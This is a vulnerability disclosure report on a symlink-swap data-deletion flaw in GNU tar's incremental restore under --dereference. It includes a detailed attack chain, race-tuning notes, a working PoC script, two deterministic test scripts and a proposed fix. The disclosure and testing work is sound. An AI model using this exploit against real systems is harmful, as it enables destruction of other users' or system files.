------------------------------------------------------------------------------ GNU tar -- arbitrary directory content deletion via symlink swap race in purge_directory() when restoring incrementally with --dereference (-h) ------------------------------------------------------------------------------
1. SUMMARY
When running `tar -x --listed-incremental ... --dereference` into a
directory writable by a local unprivileged attacker, the attacker can
race the directory-purging step and make tar recursively delete the
entire contents of an arbitrary directory of their choice (e.g. /etc,
another user's home), nested subdirectories included.
This is a variant of CVE-2026-18477 (TOCTOU in incremental restore
purging) that the fixes committed for that CVE do not cover (87819f9,
d1df7f4, and the follow-ups e5aeda0, 0713d35). The gap only exists
under --dereference/-h: commit 145a671, which resolved the -h
extraction regressions, drops the path protections (RESOLVE_BENEATH,
O_NOFOLLOW, AT_SYMLINK_NOFOLLOW) for the -h configuration, and that
relaxation also reaches the *removal* code paths -- where following a
symlink was never the intent in the first place.
2. IMPACT
- Recursive content deletion (data destruction) outside the extraction
tree, with the privileges of the restoring user (typically root).
- Unprivileged local attacker; nothing needed beyond write access to
the restore directory. Same threat model and precondition as
CVE-2026-18477: root restoring into /tmp or into a directory the
attacker controls.
3. AFFECTED VERSION / CONFIGURATION
- Tested: tar 1.35.90 (git HEAD from savannah, checked out 2026-09-22),
built from source, with the complete current CVE-2026-18477 fix set
(87819f9, d1df7f4, e5aeda0, 0713d35).
- Required options: `-x -h/--dereference -g/--listed-incremental`
(restore of an incremental archive whose dumpdir records exist).
- Tested on macOS (Darwin), which uses the gnulib openat2 emulation,
and on Linux (Debian 12, kernel openat2). Both are vulnerable, both
are fixed by the attached patch. On Linux under -h the openat2 call
goes out with resolve=0 and no O_NOFOLLOW (tar.c:2716-2721), so the
in-kernel openat2 follows the swapped symlink exactly like the
emulation does. Nothing here is platform-specific.
4. ATTACK CHAIN (references checked against git HEAD)
tar_savedir(parent) lists on-disk entries incremen.c:1650
deref_stat(d): under -h fstatat_flags=0, follows
symlinks -> entry is classified as a real directory incremen.c:1729
(flags matrix: tar.c:2703-2723)
entry not present in dumpdir -> scheduled for purge incremen.c:1741
remove_any_file(d, RECURSIVE_REMOVE_OPTION) incremen.c:1757
unlinkat -> EISDIR; safer_rmdir -> ENOTEMPTY misc.c:704, 717
recursive branch: tar_savedir(d) lists all entries
(final path component opened with open_read_flags,
no O_NOFOLLOW under -h) misc.c:743 -> 1722
loop deletes entries one by one; each successful
deletion calls fdbase_clear, so the next entry re-opens
the parent directory *by name* misc.c:706, 700
============ attacker: rename(d, d.bak) + symlink(victim, d) ============
the re-open of d resolves the freshly created symlink
(under -h: no O_NOFOLLOW, no RESOLVE_BENEATH) misc.c:1280
-> tar operates on victim
unlinkat(fd, entry) succeeds for mirrored names misc.c:704
nested directories: tar_savedir(d/loot) lists the *real*
contents of victim/loot -> full recursive deletion misc.c:743
4a. EXPLOITATION SCENARIOS
Victim: an administrator (typically root) restoring incremental
backups with `tar -x -g snap.snar -h -C <dir>`. Attacker: a local
unprivileged user who can write to <dir> (/tmp, a shared workspace, a
directory they own) but has no access to the victim tree. The attacker
steers root's purge step into deleting the victim tree's contents.
Three ways to get there, easiest first:
Scenario A -- pre-staged symlink, deterministic (no race).
The attacker replaces a directory the snapshot still records (so
tar expects it to survive) with a symlink to the victim tree (e.g.
/etc). tar writes the archived members through the link, then purge
walks the directory and deletes every entry NOT listed in the
dumpdir -- i.e. essentially the whole victim tree. Nothing is
raced; the directory layout and snapshot content just have to line
up. (a2_deterministic_test.sh)
Scenario B -- intermediate path component, deterministic (no race).
The purge target is proj/db, where db is a real directory but proj
is a symlink to the victim tree. A fix that only adds O_NOFOLLOW
still follows the intermediate link; only RESOLVE_BENEATH rejects
the escape. (a2_midpath_test.sh)
Scenario C -- runtime swap race.
The attacker races the removal with back-to-back rename()+symlink()
so that the per-entry parent re-open (by name, via fdbase) lands on
the freshly planted symlink. Needs 1:1 name-mirroring of the victim
and a single-process swap (~100 ns gap); see section 5.
(a2_poc.sh + swapper.c)
All three are the same bug underneath: the purge/removal path follows
a runtime symlink under -h (section 7). A and B need no timing at all;
C is the race that motivated the original CVE-2026-18477 report.
5. ATTACK MODEL NOTES (why naive reproductions fail)
I burned a few PoC iterations learning these; writing them down so
nobody wastes time on a regression test that can't fire:
a. The purged entry must be a REAL directory at classification time.
A top-level symlink entry dies at the unlink-first step (misc.c:704
does not follow it and just removes the link).
b. Names inside the attacker's mirror directory must 1:1 mirror the
victim's entry list: misc.c:759 aborts the whole removal loop on
the first failing deletion, and a name missing from the victim
makes the very first unlinkat after the swap fail with ENOENT.
(Victim directory is assumed readable, e.g. /etc.)
c. The swap must be done as back-to-back rename()+symlink() syscalls
from a single process. Shell `mv` + `ln` leave a millisecond-scale
gap that tar reliably hits (ENOENT -> loop abort). The in-process
gap is ~100ns; a hit is survivable and the round is simply retried.
d. The trigger canary should be the FIRST entry in readdir order:
tar's removal order follows the same readdir sequence
(SAVEDIR_SORT_NONE), so the canary's disappearance leaves ~100% of
the loop's runtime as the race window.
6. REPRODUCTION
Attachment `a2_poc.sh` (plus `swapper.c`, compile with `cc -O2 -o
swapper swapper.c`). What the script does:
1. Create a level-0 and a level-1 incremental archive of `proj/`
(the level-1 archive carries the dumpdir).
2. Prepare `restore/proj/d/` as the attacker-writable mirror
directory with 100000 files mirroring `victim/` 1:1 (plus
`loot/secret1.txt`, `loot/secret2.txt`, `loot/deeper/crown.key`).
3. Start `swapper d <abs-path-to-victim> <canary>` which busy-polls
for the canary (first readdir entry) to disappear, then performs
rename(d, d.bak) + symlink(victim, d) back-to-back.
4. Run: tar -xf inc.tar -g snap.snar -C restore --dereference
5. Count files remaining in victim/.
Observed result (attack configuration, -h):
ROUND 1-3: race not hit (gap hit / timing; expected, see 5.c)
ROUND 4: 99997/100000 victim files deleted, 3/3 loot entries
deleted, including the nested loot/deeper/crown.key
=> the entire content of victim/ was recursively deleted by tar's
purge_directory, outside the extraction tree.
Control experiment (identical setup and race, WITHOUT -h):
CTRL ROUND 1-3: 0/100000 victim files deleted
=> without -h the race does not trigger; --dereference is the sole
switch. On non-openat2 platforms the gnulib emulation's
RESOLVE_BENEATH check (gnu/openat2.c: absolute target -> EXDEV,
../ escape -> EXDEV) holds, and on Linux >= 5.6 the kernel
openat2 with RESOLVE_BENEATH rejects the escape. The flag is the
difference, nothing else.
6a. DETERMINISTIC REPRODUCTION (no race needed)
Attachment `a2_deterministic_test.sh` reproduces the core defect
without any race: it pre-stages a symlink as the purge target, so a
plain `tar -x -h -g` run walks it. Handy as a fast red/green check
for the patch:
unpatched: 3/3 victim entries deleted (VULNERABLE)
patched: 0/3, unlink fails with ELOOP/EXDEV semantics (FIXED)
6b. VARIANT: mid-path component swap (O_NOFOLLOW alone is NOT enough)
Attachment `a2_midpath_test.sh` demonstrates this deterministically
(no race): the purge removal path is `proj/db/x.txt`, where the final
component `db` is a real directory and the intermediate component
`proj` is a symlink to a victim tree. Results:
clean (HEAD) + -h: 2/2 victim entries deleted (VULNERABLE)
O_NOFOLLOW-only build + -h: 2/2 deleted <-- O_NOFOLLOW is NOT enough
patched (+ RESOLVE_BENEATH): 0/2, "Cannot open: Not a directory" (FIXED)
O_NOFOLLOW only protects the FINAL path component. If the attacker
swaps one of the INTERMEDIATE components instead -- tar is about to
purge `proj/db`, and the attacker replaces `proj` itself (or any
mid-path ancestor) with a symlink to a victim tree -- then an
O_NOFOLLOW-only open of `proj/db` still resolves through the swapped
ancestor and deletes the victim's mirrored content. I verified this
the hard way: my first fix attempt was O_NOFOLLOW-only, and the
mid-path test still deleted 1/63 victim files on the race build
(macOS) and 2/2 on the deterministic build (Linux).
The underlying reason: in the gnulib openat2 emulation
(gnu/openat2.c), when resolve==0 the code takes the single-openat
fast path, which follows intermediate symlinks; and on Linux,
openat2 without RESOLVE_BENEATH likewise follows intermediate
components. So the fix has to re-arm BOTH protections on the removal
path. The attached patch does exactly that: its `open_subdir`
nofollow branch sets O_NOFOLLOW *and* (when !absolute_names_option,
matching the existing policy for non-h extraction) RESOLVE_BENEATH,
so a swapped mid-path component gets rejected with EXDEV before any
deletion occurs. With the final patch, 3/3 mid-path race rounds fail
with "Cross-device link" (EXDEV) and 0 victim files are deleted
(macOS); the deterministic mid-path test is 0/2 on Linux.
7. ROOT CAUSE
Commit 145a671 removed the path-protection matrix (RESOLVE_BENEATH /
O_NOFOLLOW / AT_SYMLINK_NOFOLLOW) for the -h configuration in order
to fix -h *extraction* regressions. That relaxation was applied
globally, so it also covers the *purge / removal* paths
(purge_directory -> remove_any_file -> tar_savedir -> fdbase re-opens).
But -h means "follow the symlinks the ARCHIVE contains, when reading
file data". It never meant "follow a symlink that shows up at runtime
in the path of a directory whose contents we are about to DELETE".
A directory entry that is not in the snapshot dumpdir is by
definition not covered by the user's -h intent.
The CVE-2026-18477 fix set (87819f9 / d1df7f4 / e5aeda0 / 0713d35)
hardened dumpdir verification and the fdbase cache state machine, but
none of them restore the removal-path protections under -h.
8. SUGGESTED FIX (patch attached: tar-remove-nofollow.patch)
The attached patch takes the semantic route: decouple the removal
path from -h. Deleting files must never follow a runtime symlink --
not in the final component, not in the middle of the path. Against
current git HEAD, it does:
- `tar_savedir()` gains a `nofollow` parameter; all removal-context
callers (purge_directory in incremen.c, the recursive branch of
remove_any_file in misc.c) pass true; the update.c caller keeps
its previous semantics (false).
- New `fdbase_removal()`: the fdbase entry used by remove_any_file
is opened with O_NOFOLLOW regardless of dereference_option, so
the per-entry parent-directory re-open in the removal loop
(misc.c:700) can no longer resolve a swapped symlink.
- `open_subdir()` nofollow branch: opens with O_NOFOLLOW *and*
(when !absolute_names_option) passes RESOLVE_BENEATH via
openat2/open_searchdir_how, closing the mid-path component swap
documented in 6b (rejected with EXDEV).
One deliberate omission: the lstat-classification hardening
(AT_SYMLINK_NOFOLLOW for purge candidates) is not in this patch. I
kept it to open()-time protections only, which is where the
regression came from (145a671); the classification change can go in
later as defense-in-depth if you want it.
An alternative would be Option B style detection: after the
removal-path directory open, fstat the FD and compare (st_dev,
st_ino) against the earlier stat of the purge candidate, aborting the
purge on mismatch. I did not go that way; the open()-time approach
needs no state tracking.
If a different shape fits the codebase better (int flags instead of
bool, fdbase_removal folded elsewhere), I'll rework it.
9. DISCLOSURE
Reported here first. I plan to also submit the resulting upstream fix
to the Google Patch Rewards Program once it is merged and has stayed
un-reverted upstream for the program's required waiting period.
No public disclosure before a fix is available unless you prefer
otherwise.
10. TESTED ENVIRONMENT / PATCH VERIFICATION
tar 1.35.90 (git HEAD, savannah repo, 2026-09-22), built from source
macOS (Darwin), gnulib openat2 emulation path
Linux (Debian 12, x86_64, kernel openat2) -- cross-platform check
PoC artifacts: a2_poc.sh, swapper.c (attached)
Patch: tar-remove-nofollow.patch (attached)
How I tested the patch (same build options throughout):
macOS (gnulib openat2 emulation):
deterministic purge-walk test (6a): 3/3 deleted -> 0/3 (FIXED)
outer-ring race (6, -h): full victim wipe -> race
fails, 0 deleted
mid-path component swap (6b, -h): 1/63 deleted on the
O_NOFOLLOW-only build -> 0/63, EXDEV ("Cross-device link")
in stderr on the final patch
Linux (in-kernel openat2, independently rebuilt from HEAD):
deterministic purge-walk test (6a):
clean + -h: 3/3 victim deleted (VULNERABLE)
clean, no -h: 0/3 (control: -h is the sole switch)
patched + -h: 0/3, "Cannot open: Not a directory" (FIXED)
mid-path component swap (6b):
clean + -h: 2/2 victim stale entries deleted (VULN)
O_NOFOLLOW-only + -h: 2/2 deleted <-- O_NOFOLLOW is NOT enough
patched + -h: 0/2, "Cannot open: Not a directory" (FIXED)
functional smoke (no regressions, both platforms):
non-h incremental restore: semantics unchanged
-h incremental restore: unchanged
-h archive containing a symlink: member extracted, data
path follows the link as before
-h purge of a pre-staged symlink: only the link entry is
unlinked, targets untouched (same as pre-patch)
Contact: gaopengsha
#!/bin/bash # ============================================================================ # a2_poc.sh -- GNU tar purge_directory symlink-swap race PoC # # Arbitrary recursive content deletion outside the extraction tree when # restoring an incremental archive with --dereference (-h) into a # directory writable by a local unprivileged attacker. # # Variant of CVE-2026-18477 not covered by its fix set; see the report # mailed to [email protected] for the full analysis. # # Requirements: # - GNU tar built from git HEAD (tested: 1.35.90, 2026-09-22); export # TAR_BIN=/path/to/tar (do NOT point it at macOS bsdtar) # - swapper binary built from swapper.c: cc -O2 -o swapper swapper.c # (default: ./swapper next to this script; override with SWAPPER=...) # - python3 # # Notes on the attack model (each point was established empirically; # naive reproductions fail without all four): # 1. The purged entry must be a REAL directory at classification time # (a top-level symlink dies at the unlink-first step, misc.c:704). # 2. The mirror directory must mirror the victim's entry names 1:1: # the removal loop aborts on the first failed deletion (misc.c:759), # and a name missing from the victim fails immediately after the # swap with ENOENT. # 3. The swap must be back-to-back rename()+symlink() syscalls from a # single process (swapper.c); external mv/ln lose the race. # 4. The canary must be the first entry in readdir order: tar's # removal order follows the same sequence (SAVEDIR_SORT_NONE). # # Run: TAR_BIN=/path/to/gnu/tar bash a2_poc.sh # Success is printed as "RESULT: RACE WON ..."; failing rounds are # expected (~1% per-round gap-hit probability) and are retried. # ============================================================================ set -u TAR_BIN=${TAR_BIN:?export TAR_BIN=/path/to/gnu/tar} SWAPPER=${SWAPPER:-"$(dirname "$0")/swapper"} N=${N:-100000} ROUNDS=${ROUNDS:-5} PY=python3 for ROUND in $(seq 1 "$ROUNDS"); do WORK=$(mktemp -d "${TMPDIR:-/tmp}/a2poc.XXXXXX") SNAP="$WORK/snap.snar"; ARC="$WORK/inc.tar"; VICTIM="$WORK/victim" REST="$WORK/restore"; D="$REST/proj/d" # [1] Level-0 + level-1 incremental archives (level-1 carries dumpdir) mkdir -p "$WORK/src/proj" echo base > "$WORK/src/proj/base.txt" "$TAR_BIN" -cf "$WORK/l0.tar" -g "$SNAP" -C "$WORK/src" proj echo base2 > "$WORK/src/proj/base2.txt" "$TAR_BIN" -cf "$ARC" -g "$SNAP" -C "$WORK/src" proj # [2] Victim tree + [3] attacker mirror directory (1:1 name mirror) $PY - "$VICTIM" "$D" "$N" <<'EOF' import os, sys victim, mirror, n = sys.argv[1], sys.argv[2], int(sys.argv[3]) os.makedirs(victim + "/loot/deeper"); os.makedirs(mirror + "/loot/deeper") for i in range(1, n + 1): name = f"v{i:06d}.txt" open(os.path.join(victim, name), "w").write("v") open(os.path.join(mirror, name), "w").close() for p in ("loot/secret1.txt", "loot/secret2.txt", "loot/deeper/crown.key"): open(os.path.join(victim, p), "w").write("S") open(os.path.join(mirror, p), "w").close() EOF # [4] Canary = first entry in readdir order (same source order tar uses) CANARY=$($PY - "$D" <<'EOF' import os, sys print(os.listdir(sys.argv[1])[0]) EOF ) # [5] Race: swapper busy-polls the canary, tar restores with -h "$SWAPPER" "$D" "$VICTIM" "$CANARY" > "$WORK/swapper.log" & APID=$! "$TAR_BIN" -xf "$ARC" -g "$SNAP" -C "$REST" --dereference \ 2>"$WORK/tar.err" >/dev/null wait $APID 2>/dev/null # [6] Verdict RESULT=$($PY - "$VICTIM" "$N" <<'EOF' import os, sys victim, n = sys.argv[1], int(sys.argv[2]) gone = sum(1 for i in range(1, n + 1) if not os.path.exists(os.path.join(victim, f"v{i:06d}.txt"))) loot = [p for p in ("loot/secret1.txt", "loot/secret2.txt", "loot/deeper/crown.key") if not os.path.exists(os.path.join(victim, p))] print(f"{gone} {len(loot)}") EOF ) FILES_GONE=${RESULT%% *}; LOOT_GONE=${RESULT##* } echo "ROUND $ROUND: victim files deleted ${FILES_GONE}/${N}," \ "loot entries deleted ${LOOT_GONE}/3" \ "[swapper: $(cat "$WORK/swapper.log" 2>/dev/null)]" if [ "${FILES_GONE:-0}" -gt 0 ] || [ "${LOOT_GONE:-0}" -gt 0 ]; then echo "RESULT: RACE WON -- victim content recursively deleted by" echo " purge_directory under --dereference" echo "WORKDIR: ${WORK} (kept for inspection)" exit 0 fi done echo "RESULT: race not hit in ${ROUNDS} rounds (retry; see notes 3-4)" exit 1
swapper.c
Description: Binary data
#!/bin/bash
# ============================================================================
# a2_deterministic_test.sh -- deterministic red/green test for the
# purge_directory symlink-following defect (no race required).
#
# Setup: incremental archive of proj/ (dumpdir present). On the restore
# side, proj is pre-created as a SYMLINK to victim/ (which holds files
# NOT in the archive). With `tar -x -h -g`, the purge step must NOT
# follow the symlink: victim's contents must survive.
#
# unpatched tar (bug): victim files deleted -> exit 1 (RED)
# patched tar (fixed): victim files intact -> exit 0 (GREEN)
#
# Usage: TAR_BIN=/path/to/tar bash a2_deterministic_test.sh
# ============================================================================
set -u
TAR_BIN=${TAR_BIN:?usage: TAR_BIN=/path/to/tar bash $0}
WORK=$(mktemp -d "${TMPDIR:-/tmp}/a2det.XXXXXX")
SNAP="$WORK/snap.snar"; ARC="$WORK/inc.tar"
VICTIM="$WORK/victim"; REST="$WORK/restore"
# [1] source tree + incremental archives (level-1 carries the dumpdir)
mkdir -p "$WORK/src/proj"
echo a > "$WORK/src/proj/a.txt"
"$TAR_BIN" -cf "$WORK/l0.tar" -g "$SNAP" -C "$WORK/src" proj
echo b > "$WORK/src/proj/b.txt"
touch "$WORK/src/proj" # ensure dir mtime changes -> dumpdir recorded
"$TAR_BIN" -cf "$ARC" -g "$SNAP" -C "$WORK/src" proj
# [2] victim tree with entries not present in the archive
mkdir -p "$VICTIM/sub"
echo x > "$VICTIM/x.txt"
echo y > "$VICTIM/y.txt"
echo s > "$VICTIM/sub/secret"
# [3] restore dir where proj is a SYMLINK to victim
mkdir -p "$REST"
ln -s "$VICTIM" "$REST/proj"
# [4] restore with --dereference
"$TAR_BIN" -xf "$ARC" -g "$SNAP" -C "$REST" --dereference \
2>"$WORK/tar.err" >/dev/null
# [5] verdict: victim must be untouched
GONE=0
for p in x.txt y.txt sub/secret; do
[ -e "$VICTIM/$p" ] || GONE=$((GONE + 1))
done
echo "victim entries deleted: $GONE/3 (tar stderr: $(head -1 "$WORK/tar.err" 2>/dev/null | cut -c1-90))"
if [ "$GONE" -gt 0 ]; then
echo "VERDICT: BUG -- purge followed the symlink and deleted victim content"
echo "WORKDIR: $WORK"
exit 1
fi
echo "VERDICT: FIXED -- victim untouched"
rm -rf "$WORK"
exit 0
#!/bin/bash
# ============================================================================
# a2_midpath_test.sh -- deterministic mid-path component symlink test (no race)
#
# Demonstrates that O_NOFOLLOW ALONE is insufficient: the purge removal path
# "proj/db/x.txt" has a REAL final component (db) and a symlink intermediate
# component (proj). O_NOFOLLOW only checks the final component, so a runtime
# symlink swapped into the MIDDLE of the path still redirects deletions.
# Only RESOLVE_BENEATH rejects the escape.
#
# clean (HEAD) + -h: 2/2 victim entries deleted -> exit 1 (RED)
# O_NOFOLLOW-only build + -h: 2/2 deleted (still broken) -> exit 1 (RED)
# patched (O_NOFOLLOW +
# RESOLVE_BENEATH): 0/2, ENOTDIR -> exit 0 (GREEN)
#
# Usage: TAR_BIN=/path/to/tar bash a2_midpath_test.sh
# ============================================================================
set -u
TAR_BIN=${TAR_BIN:?usage: TAR_BIN=/path/to/tar bash $0}
WORK=$(mktemp -d "${TMPDIR:-/tmp}/a2mid.XXXXXX")
SNAP="$WORK/snap.snar"; ARC="$WORK/inc.tar"
VICTIM="$WORK/victim"; REST="$WORK/restore"
# [1] incremental archives: proj/db/{a.txt (l0), b.txt (l1)}
mkdir -p "$WORK/src/proj/db"
echo a > "$WORK/src/proj/db/a.txt"
"$TAR_BIN" -cf "$WORK/l0.tar" -g "$SNAP" -C "$WORK/src" proj
echo b > "$WORK/src/proj/db/b.txt"
touch "$WORK/src/proj" "$WORK/src/proj/db"
"$TAR_BIN" -cf "$ARC" -g "$SNAP" -C "$WORK/src" proj
# [2] victim/db holds stale files not present in the archive dumpdir
mkdir -p "$VICTIM/db"
echo x > "$VICTIM/db/x.txt"
echo y > "$VICTIM/db/y.txt"
# [3] restore side: proj is a SYMLINK to victim (intermediate component)
mkdir -p "$REST"
ln -s "$VICTIM" "$REST/proj"
# [4] restore with --dereference
"$TAR_BIN" -xf "$ARC" -g "$SNAP" -C "$REST" --dereference \
2>"$WORK/tar.err" >/dev/null
# [5] verdict
GONE=0
for p in db/x.txt db/y.txt; do
[ -e "$VICTIM/$p" ] || GONE=$((GONE + 1))
done
echo "victim stale entries deleted: $GONE/2 (tar stderr: $(head -2 "$WORK/tar.err" 2>/dev/null | tr '\n' ' ' | cut -c1-90))"
if [ "$GONE" -gt 0 ]; then
echo "VERDICT: BUG -- mid-path symlink followed, victim content deleted"
echo "WORKDIR: $WORK"
exit 1
fi
echo "VERDICT: FIXED -- victim untouched"
rm -rf "$WORK"
exit 0
tar-remove-nofollow.patch
Description: Binary data
